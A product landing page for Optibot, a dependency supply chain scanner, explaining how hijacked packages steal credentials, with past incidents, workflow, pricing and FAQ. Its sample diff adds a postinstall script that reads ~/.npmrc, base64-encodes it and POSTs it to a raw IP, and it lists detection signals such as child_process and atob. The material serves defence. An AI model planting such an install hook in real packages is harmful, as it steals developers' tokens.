Supply chain scanning
Your dependencies are code. Verify them.
When a package you trust is hijacked, its next update can steal your passwords and keys. Optibot reads every update before you merge.
Supply chain analysis
Critical · acme-date-fmt
New install script sends your npm token to a raw IP
postinstalladded:node lib/setup.jslib/setup.jsreads~/.npmrc- base64-encodes it and POSTs to
45.x.x.x
Fix: pin 3.1.4 and rotate npm tokens on every machine that installed 3.1.5.
01How it happens
The diff you review is one line.
A maintainer's account is phished.
Their next patch adds one install script. It sends your npm token to a stranger.
Your pull request shows a one-line version bump. CI passes. Someone approves.
Every laptop and CI runner that installs it hands over its keys.
Unless something reads the release first. Optibot does, and flags it before merge.
−"version": "3.1.4",
+"version": "3.1.5",
package.json + "postinstall": "node lib/setup.js", lib/setup.js + const rc = fs.readFileSync(home + '/.npmrc') + https.request({ host: '45.x.x.x', method: 'POST' }) + .end(rc.toString('base64'))
This has already happened
Oct 2021
ua-parser-js
Three hijacked npm releases.
GitHub Advisory ↗Mar 2024
xz utils
A backdoor in the release downloads, aimed at SSH.
oss-security ↗Sep 2025
debug 4.4.2
Maintainer phished. Malware in a patch release.
GitHub Advisory ↗Sep 2025
Shai-Hulud
A worm across 500+ npm packages, stealing keys.
CISA ↗Merge a version bump knowing what it runs.
02How it works
Read the release before it runs.
-
01
A dependency changes
Any manifest or lockfile, on any pull request.
-
02
Optibot downloads it
The exact new version, from the registry.
-
03
It reads what the code does
Install scripts first, then what they touch.
-
04
You get a verdict
Safe, suspicious, or malicious. Quiet when clean.
03What it catches
Flagged for what the code does.
Runs on install
- Install scripts
postinstall - Shells and droppers
child_process - Native binaries
.so .dll
Takes what it finds
- Credential theft
~/.npmrc - Data exfiltration
POST - Unknown hosts
45.x.x.x
Hides what it is
- Obfuscated code
atob() - Typosquats
reqeusts
Every finding shows the file and the code.
04Where it runs
Every pull request. Or the whole repo.
Every pull request
Catch it before merge.
On by default on GitHub and GitLab. Silent when clean.
Your main branch
Audit what already shipped.
Run it from the dashboard. File the report as an issue.
10 ecosystems
Lockfile read: indirect packages covered
05Pricing
You set the budget.
Pay per scan from prepaid credits. No per-seat fee.
See the estimated cost before a scan starts. When it reaches your max budget, it stops.
Estimated cost
$1.40
Max budget
$2.00
Set the budget once. Scans stop when they reach it.
Frequently Asked Questions
What is a software supply chain attack?
An attacker ships malicious code inside a package you depend on, usually by compromising a maintainer account or publishing a look-alike package. The code arrives through a routine version bump and runs on install or at import, on developer machines, CI runners, and in production.
How does Optibot detect a malicious postinstall script?
It downloads the new package version, reads its manifest, and reads the files its install hooks call before anything else. New or changed preinstall, postinstall, and install scripts, and setup.py code that runs at install time, are checked for downloading payloads, spawning shells, reading credentials, or sending data out.
Does it scan transitive dependencies?
Yes, through your lockfile. When a pull request changes package-lock.json, yarn.lock, pnpm-lock.yaml, poetry.lock, Cargo.lock, composer.lock, or Gemfile.lock, packages whose resolved version moved are picked up, including ones you never named in your manifest.
Is this the same as a vulnerability scanner?
They answer different questions. A vulnerability scanner matches package versions against advisories for known flaws. Supply chain scanning reads the code inside the release itself, so it does not need an advisory to exist before it can flag a malicious version. For flaws in the code your team writes, see the AppSec Agent.
Which ecosystems are supported?
npm, PyPI, Go, RubyGems, Maven, Cargo, Composer, NuGet, Hex, and pub. Lockfiles are read for npm, PyPI (Poetry), Go, Cargo, Composer, and RubyGems.
What happens when a scan reaches my budget?
It stops and tells you. A Shallow scan keeps the findings from the packages it finished and reports how many it skipped. A Deep scan stops without results and asks you to raise the max budget or re-run in Shallow mode.
Does it work on GitLab?
Yes. Pull request scanning works on GitHub pull requests and GitLab merge requests, and repository scans can file their report as an issue on either.
Does Optibot keep the packages it downloads?
No. Each package is downloaded to a temporary directory for the scan and deleted when the scan finishes. Your own source code is handled under Optibot's zero code retention model.
Scan the dependencies you already ship.
Connect a repo. See the estimated cost first, then a verdict on each package scanned.